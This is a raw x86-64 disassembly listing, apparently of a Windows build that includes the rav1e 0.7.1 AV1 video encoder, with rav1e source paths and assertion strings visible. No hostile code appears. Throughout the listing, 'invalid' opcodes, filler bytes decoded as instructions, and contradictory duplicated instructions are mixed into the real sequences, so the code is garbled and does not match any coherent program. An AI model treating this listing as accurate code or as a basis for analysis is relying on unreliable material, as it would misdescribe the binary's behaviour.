pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
mov edx, 9
mov rcx, r14
call fcn.1401c6eb0
int3
cmp rax, r12
je 0x1400def4d
lea r15, [rax + 1]
mov rcx, rax
add rcx, qword [rsp + 0x1c0]
mov rax, r15
cmp rcx, qword [rsi + 0x20]
jae 0x1400deee7
imul rcx, qword [rsi + 0x28]
imul r8, rcx, 0x1e
add r8, qword [rsi]
mov r9, qword [rsi + 0x18]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
adc eax, 0x4800162c
mov dword [rsp + 0x20], eax
mov rcx, rdi
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
mov dl, byte [rsp + 0x1d8]
test rcx, rcx
je 0x1400def48
mov byte [rax + 0x1b], dl
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1400def36
mov rax, r15
jmp 0x1400deee7
mov rax, qword [rsp + 0x98]
mov rsi, qword [rax + 0x1278]
mov rax, qword [rsi + 0x18]
mov r14, rax
sub r14, rdi
cmp qword [rsp + 0xa8], rax
cmovb r14, r13
add r14, rdi
xor eax, eax
cmp rax, r12
je 0x1400defdf
lea r15, [rax + 1]
mov rcx, rax
add rcx, qword [rsp + 0x1c0]
mov rax, r15
cmp rcx, qword [rsi + 0x20]
cmp ecx, dword [rsi + 0x20]
jae 0x1400def77
imul rcx, qword [rsi + 0x28]
imul r8, rcx, 0x1e
add r8, qword [rsi]
mov r9, qword [rsi + 0x18]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
movzx edx, word [rsp + 0x1a0]
test rcx, rcx
je 0x1400defda
mov word [rax + 0xc], dx
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1400defc7
mov rax, r15
jmp 0x1400def77
mov rax, qword [rsp + 0x98]
mov rsi, qword [rax + 0x1278]
mov rax, qword [rsi + 0x18]
mov r14, rax
invalid
sub r14, rdi
cmp qword [rsp + 0xa8], rax
cmovb r14, r13
add r14, rdi
xor eax, eax
mov r15, qword [rsp + 0x1c0]
cmp rax, r12
je 0x1400df06f
lea rdi, [rax + 1]
mov rcx, rax
add rcx, r15
mov rax, rdi
cmp rcx, qword [rsi + 0x20]
jae 0x1400df011
invalid
imul rcx, qword [rsi + 0x28]
imul r8, rcx, 0x1e
add r8, qword [rsi]
mov r9, qword [rsi + 0x18]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x1b8]
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
xor edx, edx
cmp rcx, rdx
je 0x1400df06a
mov qword [rax + rdx], rbp
add rdx, 0x1e
jmp 0x1400df05b
mov rax, rdi
jmp 0x1400df011
mov rdi, qword [rsp + 0x98]
cmp byte [rdi + 0x1281], 0
add byte [rax], al
je 0x1400df0dd
mov rsi, qword [rbx + 0x118]
cmp byte [rsi + 2], 0
je 0x1400df0dd
mov cl, byte [rsp + 0x1b0]
mov edx, dword [rsp + 0xdc]
call fcn.1400cd5d9
test al, al
jne 0x1400df0ae
cmp byte [rsp + 0x1c8], 0
jne 0x1400df0dd
mov al, byte [rsi + 3]
mov rcx, qword [rsp + 0xe0]
add byte [rax], al
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], al
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x1b8]
mov r9, r15
stc
call fcn.1400e01da
mov byte [rdi + 0x1281], 0
mov rax, qword [rsp + 0xb8]
test byte [rax + 0x2ec], 1
add al, byte [rax]
add byte [rcx], al
jne 0x1400df125
mov r14b, byte [rsp + 0x180]
mov byte [rsp + 0x20], r14b
mov rcx, rdi
mov rsi, qword [rsp + 0xa0]
mov rdx, rsi
mov r8, qword [rsp + 0x1b8]
add byte [rbp - 0x77], cl
mov r9, r15
mov ecx, edi
call fcn.1400e038c
jmp 0x1400df901
mov r14b, byte [rsp + 0x180]
cmp r14b, 0xe
setae byte [rsp + 0x20]
mov rcx, rdi
mov rsi, qword [rsp + 0xa0]
mov rdx, rsi
mov rbp, r15
mov r15, qword [rsp + 0x1b8]
add byte [rax], al
mov r8, r15
mov r9, rbp
call fcn.1400e04fe
cmp r14b, 0xd
jbe 0x1400df2cc
mov rcx, qword [rdi + 0x1278]
mov rdx, r15
mov r8, rbp
call fcn.140077605
mov rcx, qword [rdi + 0x1278]
adc al, byte [rax]
add byte [rax + 0x39], cl
imul esp, dword [rax], 0xf7b860f
add byte [rax], al
mov rdx, qword [rcx + 0x18]
cmp rdx, r15
jbe 0x1400e00cf
mov rax, qword [rcx + 0x28]
imul rax, qword [rsp + 0x1c0]
imul rax, rax, 0x1e
invalid
add rax, qword [rcx]
imul rdx, r15, 0x1e
movzx ebp, word [rdx + rax + 0xc]
mov edi, ebp
shr edi, 8
movzx r8d, byte [rdx + rax + 0x16]
movzx eax, byte [rdx + rax + 0x17]
invalid
cmp r8b, al
cmovb eax, r8d
cmp al, 2
jb 0x1400df2f2
mov rax, qword [rsp + 0xb8]
cmp byte [rax + 0x30b], 0
add byte [rax], al
add byte [rdi], cl
invalid
invalid
add dword [rax], eax
invalid
xor r14d, r14d
test dil, 7
setne r14b
mov rdx, r15
mov r8, qword [rsp + 0x1c0]
call fcn.140077838
mov r15, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov byte [rdx], dl
add byte [rax], al
lea r8, [rax*4 + 0x18]
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rsi
mov edx, r14d
mov r9, r15
call case.0x1400617de.262
mov rcx, qword [r15 + 0x1278]
mov dword [rsp + 0xa8], edi
test dil, 7
je 0x1400df310
test dh, cl
add byte [rax], al
invalid
mov rdx, qword [rsp + 0x1b8]
mov rdi, qword [rsp + 0x1c0]
mov r8, rdi
call fcn.140077998
mov rcx, qword [r15 + 0x1288]
add byte [rbp + rcx*4 + 4], cl
test dword [rax], edx
add byte [rax], al
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, 1
mov r9, r15
call case.0x1400617de.262
cmp bpl, 4
sete r14b
jne 0x1400df443
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, rdi
call fcn.1400d95d4
mov rcx, qword [r15 + 0x1288]
adc al, byte [rax]
add byte [rbx + rbp*2 - 0x40], cl
or al, 0x49
add eax, 0x2c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, 1
mov r9, r15
call case.0x1400617de.262
in al, dx
invalid
invalid
jmp case.0x14007f1f8.201
add dword [rax], eax
invalid
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x1b0]
mov r9d, r14d
call fcn.1400e054c
mov r15, rbp
mov r14, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
jmp 0x1400df913
test dil, 7
je 0x1400df318
lea rcx, str.assertion_failed:__comp_mode
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
add eax, 0x165b0a
mov edx, 0x1c
call fcn.1401c6f30
mov r15, qword [rsp + 0x1b8]
mov rdx, r15
mov r14, qword [rsp + 0x1c0]
mov r8, r14
call fcn.140077c6d
stc
inc dword [rax - 0x80]
std
or byte [rdi], cl
setne cl
cmp bpl, 5
setae dl
and dl, cl
mov r9, qword [rsp + 0x98]
mov rcx, qword [r9 + 0x1288]
imul r8, rax, 0x18
add r8, 0x2f0
movzx edx, dl
mov qword [rsp + 0x20], rcx
mov rcx, rsi
call case.0x1400617de.262
cmp bpl, 8
cmp ch, 8
ja case.0x14002eaa5.707
movzx eax, bpl
mov ecx, 0x11f
bt ecx, eax
jae case.0x14002eaa5.707
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov eax, 0x4d000001
add byte [rbp - 0x77], cl
invalid
call fcn.1400d95d4
cmp bpl, 3
mov r15, qword [rsp + 0x1f0]
jne 0x1400df3d7
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
rcr byte [rax], 0x49
add eax, 0x2f8
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, 1
mov r9, rdi
call case.0x1400617de.262
jmp 0x1400df40c
xor edx, edx
cmp bpl, 4
sete dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
rcr byte [rax], 0x49
add eax, 0x2f8
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r9, rdi
call case.0x1400617de.262
cmp bpl, 4
jne 0x1400df4d3
invalid
add byte [rax], al
invalid
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, r14
mov eax, esi
call fcn.1400d972f
xor edx, edx
cmp bpl, 3
setne dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x300
jmp 0x1400df59c
mov edi, r14d
xor r14d, r14d
cmp bpl, 3
sete r14b
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x1c0]
call fcn.1400d95d4
mov rcx, qword [r15 + 0x1288]
imul r8, rax, 0xc
or al, 0x49
add eax, 0x2c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, r14d
mov r14d, edi
mov rdi, qword [rsp + 0x1c0]
mov r9, r15
call case.0x1400617de.262
cmp bpl, 3
jne 0x1400dfee7
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, rdi
call fcn.1400d972f
invalid
dec dword [rcx - 0x75]
invalid
mov byte [rdx], dl
add byte [rax], al
imul rax, rax, 0xc
lea r8, [rcx + rax]
add r8, 0x34
jmp 0x1400dff19
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, r14
call fcn.1400d96c0
xor edx, edx
cmp bpl, 1
setne dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x2fc
jmp 0x1400df59c
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
add byte [rbp - 0x77], cl
invalid
call fcn.1400d964d
xor edx, edx
cmp bpl, 7
std
invalid
sete dl
mov rcx, qword [rdi + 0x1288]
mov ecx, dword [rdi + 0x1288]
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ecx, dword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x2f4
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rsi
int1
int1
mov r9, rdi
call case.0x1400617de.262
push 0xffffffffffffffea
invalid
inc dword [rax - 0x80]
std
invalid
mov r15, qword [rsp + 0x1f0]
je 0x1400df5ac
mov rdi, qword [rsp + 0x98]
mov edi, dword [rsp + 0x98]
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, r14
call fcn.1400d979e
xor edx, edx
cmp bpl, 6
sete dl
mov rcx, qword [rdi + 0x1288]
imul r8, rax, 0x18
add r8, 0x304
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r9, rdi
call case.0x1400617de.262
invalid
invalid
invalid
mov dil, byte [rsp + 0x180]
cmp dil, 0x14
adc al, 0x40
setb ch
adc al, 0x40
setb ch
jae 0x1400df5ee
mov rcx, qword [rsp + 0x98]
mov rdx, rsi
mov r8d, edi
mov r9, qword [rsp + 0x1e8]
call fcn.1400e05aa
cmp dil, 0x13
mov rcx, qword [rsp + 0x1f8]
mov word [rax + rdi*8], fs
add dword [rax], eax
invalid
je 0x1400df621
mov word [rax + rdi*8], fs
add dword [rax], eax
add byte [rdx + rdi + 0x31], dh
in eax, dx
xor ebp, ebp
jmp 0x1400df66e
mov rcx, qword [rsp + 0x98]
mov rdx, rsi
mov r8d, edi
mov r9, qword [rsp + 0x1e8]
call fcn.1400e069a
add byte [rax], al
add byte [rax], al
cmp dil, 0x21
jne 0x1400df664
mov rcx, qword [rsp + 0x1f8]
cmp rcx, 2
jb 0x1400e018a
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], 0xf8
add dh, byte [rbp + rax*2 + 0x48]
inc eax
xor eax, eax
cmp rax, 2
je 0x1400df66e
inc rax
cmp rcx, 2
jb 0x1400df623
imul rax, rax, 0xc
mov ecx, 0x280
add al, byte [rax]
add byte [rbp + 0x31], al
leave
add al, byte [rax]
add byte [rbp + 0x31], al
leave
cmp dword [r15 + rax + 8], ecx
setb r9b
cmp dword [r15 + 8], ecx
adc r9, 0
mov rcx, qword [rsp + 0x98]
mov ecx, dword [rsp + 0x98]
mov rdx, rsi
xor r8d, r8d
call fcn.1400e072c
jmp 0x1400df673
xor ebp, ebp
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x1400df68b
mov rax, qword [r15]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xa8], 0
jmp 0x1400df6a9
xor eax, eax
cmp rax, 2
je 0x1400df6a0
and dword [rsp + rax*4 + 0xc0], 0
inc rax
jmp 0x1400df68d
mov al, 1
mov dword [rsp + 0xa8], eax
and al, 0xa8
add byte [rax], al
invalid
and al, 0xa8
add byte [rax], al
add byte [rcx], dh
test byte [rax - 0x75], 0x84
and al, 0xb8
add byte [rax], al
add byte [rbx], bh
mov al, 0xd4
add al, byte [rax]
add byte [rcx], bl
test byte [rax + 0xa], 0xb0
sbb al, byte [rbx]
add byte [rax], al
xor esi, esi
mov rax, qword [rsp + 0xb8]
cmp esi, dword [rax + 0x2d4]
sbb esi, esi
or sil, byte [rax + 0x31a]
movzx r15d, dil
test bpl, bpl
mov rdi, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rdi], cl
test al, dl
add byte [rax], al
invalid
and al, 0x98
add byte [rax], al
add byte [rdi], cl
test al, dl
add byte [rax], al
add byte [rdi + rcx - 0x49], al
movzx r14d, word [rsp + 0x1a8]
movzx r14d, word [rsp + 0x1a8]
movzx r9d, word [rsp + 0x1aa]
movzx eax, word [rsp + 0xc0]
movzx ecx, word [rsp + 0xc2]
and al, 0xc2
add byte [rax], al
add byte [rax - 0x78], al
je case.0x1400c4f5c.118
xor byte [rsi - 0x77], ah
and al, 0x28
and al, 0xc2
add byte [rax], al
add byte [rax - 0x78], al
je case.0x1400c4f5c.118
xor byte [rsi - 0x77], ah
and al, 0x28
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
mov r8d, r14d
call fcn.1400e0762
mov al, byte [rsp + 0x180]
add byte [rcx + riz], bh
add byte [rcx + riz], bh
ja case.0x1400df7c2.18
mov eax, 0xfce38000
bt rax, r15
jb case.0x1400df7c2.15
movabs rax, 0x201000000
bt rax, r15
bt eax, edi
bt eax, edi
movabs dword [0x4400000896830ff8], eax
movzx eax, word [rsp + 0x1ac]
jae 0x1400dffe3
movzx r8d, word [rsp + 0x1ac]
movzx r9d, word [rsp + 0x1ae]
add byte [rax], al
movzx eax, word [rsp + 0xc4]
movzx ecx, word [rsp + 0xc6]
mov byte [rsp + 0x30], sil
mov word [rsp + 0x28], cx
mov dword [rsp + 0x28], ecx
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
call fcn.1400e0762
mov al, byte [rsp + 0x180]
add eax, 0xffffffe6
mov r14d, 1
cmp al, 6
jb 0x1400df7e6
jmp case.0x1400df7c2.18
lea eax, [r15 - 0xe]
cmp eax, 0x13
ja case.0x1400df7c2.18
lea rcx, [0x14028c1e8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov al, byte [rsp + 0x180]
add byte [rax], al
add eax, 0xfffffff1
mov r14d, 1
cmp al, 8
ja 0x1400df7e6
movzx eax, al
lea rcx, [0x14028ac28]
mov r14, qword [rcx + rax*8]
mov al, byte [rsp + 0x180]
cmp al, 0xf
mov rdx, qword [rsp + 0x1f8]
xchg esp, eax
and al, 0xf8
add dword [rax], eax
invalid
je 0x1400df802
xchg esp, eax
and al, 0xf8
add dword [rax], eax
add byte [rcx + rcx + 0x49], dh
cmp esi, edx
cmp r14, rdx
jae 0x1400e011a
mov rax, qword [rsp + 0x1f0]
lea rsi, [rax + 0x14]
mov r15d, 2
mov ebp, 0x280
cmp r15, 4
je 0x1400df86a
invalid
cmp r15, rdx
jae 0x1400df861
lea rdi, [r15 - 1]
cmp r14, rdi
seta r8b
rol byte [rbp + 0x31], 0xc9
cmp dword [rsi + 0xc], ebp
setb r9b
cmp dword [rsi], ebp
adc r9, 0
mov rcx, qword [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add al, ch
fmul dword [rsi]
add byte [rax], al
mov rdx, qword [rsp + 0x1f8]
cmp r14, rdi
jbe 0x1400df870
add rsi, 0xc
inc r15
jmp case.0x1400c5cc0.56
scasd eax, dword [rdi]
scasd eax, dword [rdi]
cmp rdx, 1
jbe 0x1400df8c3
cmp r14, rdx
jae 0x1400e00de
and dword [rbp + 8], 0
invalid
imul rax, r14, 0xc
mov rdx, qword [rsp + 0x1f0]
movzx ecx, word [rdx + rax]
cmp cx, word [rsp + 0x1a8]
mov rdi, qword [rsp + 0x98]
add byte [rdi], cl
invalid
stosd dword [rdi], eax
or byte [rax], al
invalid
add rdx, rax
movzx eax, word [rdx + 2]
cmp ax, word [rsp + 0x1aa]
je case.0x1400df7c2.18
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.col__mvs_0_.col_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x1400e0158
cmp word [rsp + 0x1a8], 0
jne 0x1400e0162
cmp word [rsp + 0x1aa], 0
mov rdi, qword [rsp + 0x98]
jne 0x1400e0172
mov rsi, qword [rsp + 0xa0]
mov r14b, byte [rsp + 0x180]
mov r15, qword [rsp + 0x1c0]
cmp r14b, 0xd
mov r14, qword [rsp + 0xb0]
ja 0x1400dfb13
mov al, byte [rsp + 0x180]
dec eax
cmp al, 8
jae 0x1400df94b
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x1400df94b
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x190]
mov r9b, byte [rsp + 0x180]
add byte [rcx], 0
add al, ch
sldt word [r8]
mov eax, dword [r14 + 0x230]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x1b8]
mov rdx, r15
mov r8b, byte [rsp + 0x1b0]
mov r9, qword [rsp + 0xd0]
call fcn.1400cdd38
test al, al
je 0x1400dfa23
add byte [rax], al
invalid
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x20], bpl
mov rcx, rdi
mov rdx, rsi
mov r14b, byte [rsp + 0x188]
mov r8d, r14d
mov r9b, byte [rsp + 0x180]
call fcn.1400e08e8
cmp r14b, 0xd
jne 0x1400df9e8
mov ecx, ebp
call fcn.1400cdf25
test al, al
je 0x1400e0132
mov rcx, rdi
mov rdx, rsi
mov r8d, dword [rsp + 0x1d0]
call fcn.1400e0a14
mov r14, qword [rsp + 0xb0]
jmp 0x1400dfa23
lea eax, [r14 - 1]
cmp al, 8
mov r14, qword [rsp + 0xb0]
jae 0x1400dfa23
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x1400dfa23
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x198]
add byte [rax], al
mov r9b, byte [rsp + 0x188]
call fcn.1400e088c
mov rax, qword [rsp + 0xb8]
cmp dword [rax + 0x2d0], 0
add al, byte [rax]
add byte [rax], al
je 0x1400dfac7
pop qword [rax]
add byte [rax], al
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x1400dfac7
mov cl, byte [rsp + 0x1b0]
call fcn.14007c694
cmp rax, 0x40
ja 0x1400dfac7
mov cl, byte [rsp + 0x1b0]
call fcn.14007c6af
cmp rax, 0x40
ja 0x1400dfac7
mov eax, dword [r14 + 0x230]
mov dword [rsp + 0x48], eax
and al, 0x48
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x38], rax
mov al, byte [rsp + 0x188]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x180]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x1b0]
mov r9, qword [rsp + 0x1b8]
call fcn.1400e0ab5
mov al, byte [rsp + 0x180]
test al, al
jne 0x1400dfb13
cmp byte [r14 + 0x263], 0
je 0x1400dfb13
mov cl, byte [rsp + 0x1b0]
call fcn.14007c694
cmp rax, 0x20
ja 0x1400dfb13
mov cl, byte [rsp + 0x1b0]
call fcn.14007c6af
cmp rax, 0x20
ja 0x1400dfb13
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x1b0]
call fcn.1400e0ba1
mov rax, qword [rsp + 0xb8]
cmp byte [rax + 0x329], 0
je 0x1400dfbe0
lea r14, [rdi + 0x30]
mov bpl, byte [rsp + 0x1b0]
mov ecx, ebp
xor edx, edx
call fcn.1400c4731
test al, al
mov dl, byte [rsp + 0x1d8]
je 0x1400dfb69
mov al, byte [rsp + 0x180]
cmp al, 0xd
jbe 0x1400dfb91
cmp byte [rsp + 0x1c8], 0
mov bpl, byte [rsp + 0x1b0]
je 0x1400dfe53
mov al, byte [rsp + 0x180]
cmp al, 0xe
setae al
and al, byte [rsp + 0x1c8]
mov byte [rsp + 0x20], dl
mov byte [rsp + 0x28], al
mov rcx, r14
mov rdx, qword [rsp + 0x1b8]
jmp 0x1400dfbcd
mov byte [rsp + 0x28], dl
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x20], bpl
mov rcx, rdi
mov edi, edx
mov rdx, rsi
mov rsi, qword [rsp + 0x1b8]
mov r8, rsi
mov r9, r15
call fcn.1400e0bd0
mov byte [rsp + 0x20], dil
mov byte [rsp + 0x20], bh
mov byte [rsp + 0x28], 0
mov rcx, r14
mov rdx, rsi
mov r8, r15
mov r9d, ebp
call fcn.14007667e
mov r14, qword [rsp + 0xb0]
cmp byte [r14 + 0x264], 0
mov r15b, byte [rsp + 0x180]
movzx edx, word [rsp + 0x1a0]
je 0x1400dfca1
xor eax, eax
cmp rax, r12
je 0x1400dfca1
invalid
cwde
add byte [rax], al
invalid
lea rsi, [rax + 1]
mov rbp, rax
add rbp, qword [rsp + 0x1c0]
mov rax, rsi
cmp rbp, qword [rbx + 0x2f0]
jae 0x1400dfc00
lea r15, [rbp + 1]
mov rdi, r13
mov r14, qword [rsp + 0x1b8]
invalid
sub rdi, 1
jb 0x1400dfc91
cmp r14, qword [rbx + 0x2e8]
jae case.0x1400654ca.234
mov r9, qword [rbx + 0x30]
mov r8, r9
imul r8, rbp
imul r9, r15
mov rcx, qword [rbx + 0x20]
mov rdx, qword [rbx + 0x28]
call fcn.1400cf4ed
cmp r14, rdx
jae 0x1400dfe92
mov cl, byte [rsp + 0x180]
mov byte [rax + r14*4 + 2], cl
mov cl, byte [rsp + 0x188]
add byte [rax], al
mov byte [rax + r14*4 + 3], cl
movzx edx, word [rsp + 0x1a0]
mov word [rax + r14*4], dx
inc r14
jmp 0x1400dfc33
mov rax, rsi
mov r15b, byte [rsp + 0x180]
jmp 0x1400dfc00
cmp r15b, 0xd
jbe 0x1400dfd86
mov rax, qword [rsp + 0x1a8]
mov rdi, qword [rsp + 0x98]
mov r8, qword [rdi + 0x1278]
xor esi, esi
mov byte [rsp + 0x48], sil
mov r13, qword [rsp + 0x1c0]
add dword [rax], eax
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x40
mov r12, qword [rsp + 0x1b8]
mov qword [rsp + 0x38], r12
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x30], bpl
mov qword [rsp + 0x28], rax
sub byte [rsi - 0x77], ah
push rsp
and al, 0x20
mov r14, qword [rsp + 0xb8]
mov rcx, r14
mov rdx, rbx
mov r9d, r15d
call fcn.1400ce3ea
mov al, byte [rsp + 0x208]
add al, byte [rax]
add byte [rax - 0x758fdbbc], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax + 0x40682444], cl
mov byte [rsp + 0x60], dh
mov al, byte [rsp + 0x1c8]
mov byte [rsp + 0x58], al
mov al, byte [rsp + 0x1e0]
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x1d8]
mov byte [rsp + 0x48], al
mov byte [rsp + 0x40], bpl
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r12
mov al, byte [rsp + 0x190]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], r15b
mov rcx, r14
mov rdx, rbx
mov r8, rdi
mov r9, qword [rsp + 0xa0]
call fcn.1400da7cd
jmp 0x1400dfe3e
mov al, byte [rsp + 0x208]
mov byte [rsp + 0x88], al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx + 0x2002484], cl
add byte [rax], al
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x70], eax
mov al, byte [rsp + 0x1c8]
mov byte [rsp + 0x68], al
mov al, byte [rsp + 0x1e0]
mov byte [rsp + 0x60], al
mov al, byte [rsp + 0x1d8]
mov byte [rsp + 0x58], al
mov al, byte [rsp + 0x1b0]
add byte [rax + 0x48502444], cl
mov eax, dword [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x40], rax
mov al, byte [rsp + 0x198]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x190]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x188]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], r15b
mov byte [rsp + 0x78], 0
mov rcx, qword [rsp + 0xb8]
mov rdx, rbx
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa0]
call fcn.1400d9ea5
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, bpl
lea rcx, [0x140240628]
mov sil, byte [rax + rcx]
mov rax, qword [rsp + 0xb8]
cmp byte [rax + 0x32a], 0
sub al, byte [rbx]
add byte [rax], al
invalid
je 0x1400dfea1
sub al, byte [rbx]
add byte [rax], al
add byte [rsi + rbp - 0x77], dh
shr eax, 1
cmp ebx, esp
invalid
mov ecx, edx
call fcn.1400ce1b3
mov ecx, eax
mov dl, byte [rsp + 0x1b0]
call fcn.1400cd5d9
mov bpl, byte [rsp + 0x1b0]
jmp 0x1400dfea3
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, r14
call fcn.1401c6eb0
xor eax, eax
mov r14, qword [rsp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], bpl
and qword [rsp + 0x48], 0
mov rcx, rdi
and byte [rax - 0x7d], cl
and al, 0x48
add byte [rax - 0x77], cl
stc
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x1b8]
mov r9, r15
movabs al, byte [0xb824848b4c000000]
add dword [rax], eax
add byte [rbp - 0x77], cl
stc
call fcn.1400e0c9b
jmp 0x1400dfbe0
cmp bpl, 2
sete r14b
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, rdi
call fcn.1400d96c0
mov rcx, qword [r15 + 0x1288]
imul rax, rax, 0xc
lea r8, [rcx + rax]
add dword [rcx - 0x7d], ecx
invalid
invalid
add dword [rcx - 0x7d], ecx
sal byte [rax], 0x4c
mov edi, edi
mov rdi, r15
sub r8, rcx
movzx edx, r14b
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r9, r15
call case.0x1400617de.262
xor r14d, r14d
mov ebp, dword [rsp + 0xa8]
add byte [rax - 0x80], al
std
invalid
sete r14b
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r15, qword [rsp + 0x1c0]
mov r8, r15
call fcn.1400d964d
enter 0xf41, 0xffffffffffffffb6
invalid
add byte [rax - 0x80], al
std
invalid
mov rcx, qword [rdi + 0x1288]
lea r8, [rax*8]
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, r14d
mov r9, rdi
mov edi, ebp
call case.0x1400617de.262
cmp dil, 7
mov r8, r15
mov r15, qword [rsp + 0x1f0]
je 0x1400df5ac
invalid
xor r14d, r14d
cmp dil, 6
sete r14b
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rdi + 0x1278]
adc al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add dword [rax], eax
add al, ch
ficom dword [rdi - 0x74b70001]
invalid
mov byte [rdx], dl
add byte [rax], al
lea r8, [rax*8 + 4]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
